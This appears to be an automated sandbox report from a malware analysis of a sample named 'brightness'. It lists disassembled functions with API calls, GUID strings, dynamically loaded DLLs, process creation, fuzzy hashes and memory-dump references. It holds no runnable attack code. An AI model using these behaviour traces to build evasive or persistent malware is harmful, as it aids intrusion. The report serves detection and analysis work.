Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 2f674a4fb15e03f0e85897e08c394c6f7c067d0c66fdbba2988e577ea8851828
Instruction ID: fe762002a96aecc980b4801388a8cec5c1f6315d4b1e933ce1d27f7ca05b0e38
Opcode Fuzzy Hash: 2f674a4fb15e03f0e85897e08c394c6f7c067d0c66fdbba2988e577ea8851828
Instruction Fuzzy Hash: EA11C2E734C214BD5042C0894B449F76A6FE397374330C122B80BDAF52BBD42A173122

Function 002D6410 Relevance: 58.0, APIs: 27, Strings: 6, Instructions: 267
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 002D6439
_wcscat.LIBCMT ref: 002D64A2
__snwprintf.LIBCMT ref: 002D64E4
_wcscat.LIBCMT ref: 002D64FA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D652E
GetWindowsDirectoryW.KERNEL32(00000000,00000104), ref: 002D6553
__snwprintf.LIBCMT ref: 002D6595
_wcscat.LIBCMT ref: 002D65AB
LocalFree.KERNEL32(00000000), ref: 002D65C1
SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002D65F1
__snwprintf.LIBCMT ref: 002D6627
CoTaskMemFree.COMBASE(?), ref: 002D6636
_wcscat.LIBCMT ref: 002D664A
SHGetKnownFolderPath.SHELL32(002F7C40,00000000,00000000,?), ref: 002D6683
__snwprintf.LIBCMT ref: 002D66B9
CoTaskMemFree.COMBASE(?), ref: 002D66C8
_wcscat.LIBCMT ref: 002D66DC
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D6710
GetTempPathW.KERNEL32(00000104,00000000), ref: 002D6735
LocalFree.KERNEL32(00000000), ref: 002D67AD

Part of subcall function 002C1C60: _wcsrchr.LIBCMT ref: 002C1C6C

__snwprintf.LIBCMT ref: 002D6781
_wcscat.LIBCMT ref: 002D6797
SHGetKnownFolderPath.SHELL32(002F7C10,00000000,00000000,?), ref: 002D67DD
__snwprintf.LIBCMT ref: 002D6813
CoTaskMemFree.COMBASE(?), ref: 002D6822
_wcscat.LIBCMT ref: 002D6836
LocalFree.KERNEL32(00000000), ref: 002D685F

Strings

'%s%s', xrefs: 002D66A8
'%s%s', xrefs: 002D6802
'%s%s', xrefs: 002D6770
'%s', xrefs: 002D64D3
'%s%s', xrefs: 002D6616
'%s%s', xrefs: 002D6584

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: _wcscat$FreeLocal__snwprintf$Path$AllocFolderKnownTask$DirectoryTempWindows_wcsrchr
String ID: '%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s%s'$'%s'
API String ID: 3511546674-4258658051
Opcode ID: 83a9ea659f4d7ab14145106878a0deb5280af79ce55f40ebfcc5ee6e7ae0c99a
Instruction ID: 668deba9dcae47150ac9ba7679a62b1aa9edd6a8c708ec17e94d86012b2e2bc6
Opcode Fuzzy Hash: 83a9ea659f4d7ab14145106878a0deb5280af79ce55f40ebfcc5ee6e7ae0c99a
Instruction Fuzzy Hash: B0B180B1A9021DEBDB24DF90DC8DFE9B779AB64304F1081A9E109AB290D774DE94CF50

Function 002D00A0 Relevance: 58.0, APIs: 24, Strings: 9, Instructions: 248
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CommandLineToArgvW.SHELL32(?,?), ref: 002D00B7
lstrcmpiW.KERNELBASE(?,{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}), ref: 002D00CC
IsUserAnAdmin.SHELL32 ref: 002D0109
OpenEventW.KERNEL32(00100002,00000000,{0277BEDC-839F-4568-B7FD-94E1324E5204}), ref: 002D0127
SetEvent.KERNEL32(00000000), ref: 002D013A
CloseHandle.KERNEL32(00000000), ref: 002D0148
ExitProcess.KERNEL32 ref: 002D0150

Strings

{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 002D02A5
{D8E15931-E2AD-40B5-A4D1-41BD1741249E}, xrefs: 002D037E
{2BFEF461-4650-4377-A284-2C0E2F67E458}, xrefs: 002D00E5
{79AAF077-37FE-4D7E-B956-7886E5902558}, xrefs: 002D01E0, 002D02BF
{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 002D0214, 002D02F3
{0AD702D0-3095-4181-A79C-FE2E80D29BC5}, xrefs: 002D01C6
{0277BEDC-839F-4568-B7FD-94E1324E5204}, xrefs: 002D011B
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 002D00C0
{90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}, xrefs: 002D0184, 002D0258, 002D0337, 002D03A4

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$AdminArgvCloseCommandExitHandleLineOpenProcessUserlstrcmpi
String ID: {0277BEDC-839F-4568-B7FD-94E1324E5204}${0AD702D0-3095-4181-A79C-FE2E80D29BC5}${116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}${2BFEF461-4650-4377-A284-2C0E2F67E458}${411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}${79AAF077-37FE-4D7E-B956-7886E5902558}${90CA5DAB-A40E-4E50-9755-11BEEF1B67F8}${D8E15931-E2AD-40B5-A4D1-41BD1741249E}
API String ID: 1089199471-2295544787
Opcode ID: 48d620e05d01ac91a4959746202933a11d2a332eaf27f11b5546ee70e8ba74a8
Instruction ID: f5766bae4e7c5ce1391213073b328cffb81e2d49140dad6e1055371f0c075148
Opcode Fuzzy Hash: 48d620e05d01ac91a4959746202933a11d2a332eaf27f11b5546ee70e8ba74a8
Instruction Fuzzy Hash: E2917070A65305EBE755EFB4CCC9BAE7A78AB08705F205516F506B62E0CBB4D841CB50

Function 002D8110 Relevance: 53.5, APIs: 10, Strings: 20, Instructions: 1044COMMON

Download Yara Rule

Strings

H, xrefs: 002D8321
WINMM.DLL, xrefs: 002D8D72
KERNEL32.DLL, xrefs: 002D81F6
WTSAPI32.DLL, xrefs: 002D899E
n, xrefs: 002D822C
SHLWAPI.DLL, xrefs: 002D85CA
DBGHELP.DLL, xrefs: 002D8E67
NTDLL.DLL, xrefs: 002D8119
GDIPLUS.DLL, xrefs: 002D8B88
OLE32.DLL, xrefs: 002D87B4
CRYPT32.DLL, xrefs: 002D9051
5, xrefs: 002D850B
WINHTTP.DLL, xrefs: 002D88A9
MSI.DLL, xrefs: 002D8C7D
GDI32.DLL, xrefs: 002D83E0
SECUR32.DLL, xrefs: 002D8F5C
USER32.DLL, xrefs: 002D82EB
ADVAPI32.DLL, xrefs: 002D84D5
SHELL32.DLL, xrefs: 002D86BF
WS2_32.DLL, xrefs: 002D8A93

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID: 5$ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$H$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL$n
API String ID: 0-974314553
Opcode ID: 9912306b396e37c6f13aac32018133538cfb879e6bb11beac06d3e1bd4043105
Instruction ID: c07f96c7dff7f302fa539ca1a0ce769f8aab9df636884732e8d5016281aa795d
Opcode Fuzzy Hash: 9912306b396e37c6f13aac32018133538cfb879e6bb11beac06d3e1bd4043105
Instruction Fuzzy Hash: 92A26874D25229DFCB64DF64DC44BAAB3B5FB49305F10849AE50AA3340DB74AEA1CF50

Function 002D2920 Relevance: 35.1, APIs: 16, Strings: 4, Instructions: 118
memoryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D2952
__snwprintf.LIBCMT ref: 002D297C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D298B
GetModuleFileNameW.KERNEL32(00000000,00000000,00007FFF), ref: 002D29A9
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D29D4
__snwprintf.LIBCMT ref: 002D2A03
_memset.LIBCMT ref: 002D2A13
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 002D2A3E
LocalFree.KERNELBASE(00000000), ref: 002D2A4D
LocalFree.KERNELBASE(00000000), ref: 002D2A57
LocalFree.KERNEL32(00000000), ref: 002D2A61
LocalFree.KERNEL32(00000000), ref: 002D2A6B
LocalFree.KERNEL32(00000000), ref: 002D2A7C
LocalFree.KERNEL32(00000000), ref: 002D2A86
LocalFree.KERNEL32(00000000), ref: 002D2A90
LocalFree.KERNEL32(00000000), ref: 002D2A9A

Strings

%s%s, xrefs: 002D296E
{D8E15931-E2AD-40B5-A4D1-41BD1741249E}, xrefs: 002D29E7
D, xrefs: 002D2A1B
"%s%s" %s, xrefs: 002D29F5

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$__snwprintf$CreateFileFolderKnownModuleNamePathProcessTask_memset
String ID: "%s%s" %s$%s%s$D${D8E15931-E2AD-40B5-A4D1-41BD1741249E}
API String ID: 1050240479-1534617329
Opcode ID: f90673dbe903c5e08ad0e91b4effdad8657ef5688a5601e6c41d02638811198b
Instruction ID: 2566dee0587d55e6f4138f15b8782ae56e0fa41b01be309dcafd3eb1c89d6b16
Opcode Fuzzy Hash: f90673dbe903c5e08ad0e91b4effdad8657ef5688a5601e6c41d02638811198b
Instruction Fuzzy Hash: 08416DB5A60209EBD710DBE4CC89FBEBB79EF48701F104528F601BB290DB749A44CB61

Function 002CFAD0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 142
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

CreateDirectoryW.KERNELBASE(00000000,00000000), ref: 002CFB03
GetLastError.KERNEL32 ref: 002CFB0E
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CFB26
CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000001,00000080,00000000), ref: 002CFBD1
GetLastError.KERNEL32 ref: 002CFBDD
LocalFree.KERNELBASE(00000000), ref: 002CFC72
LocalFree.KERNELBASE(00000000), ref: 002CFC7C
LocalFree.KERNEL32(00000000), ref: 002CFC86
LocalFree.KERNEL32(00000000), ref: 002CFCE3

Strings

P, xrefs: 002CFBFF
%s%s, xrefs: 002CFB46

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
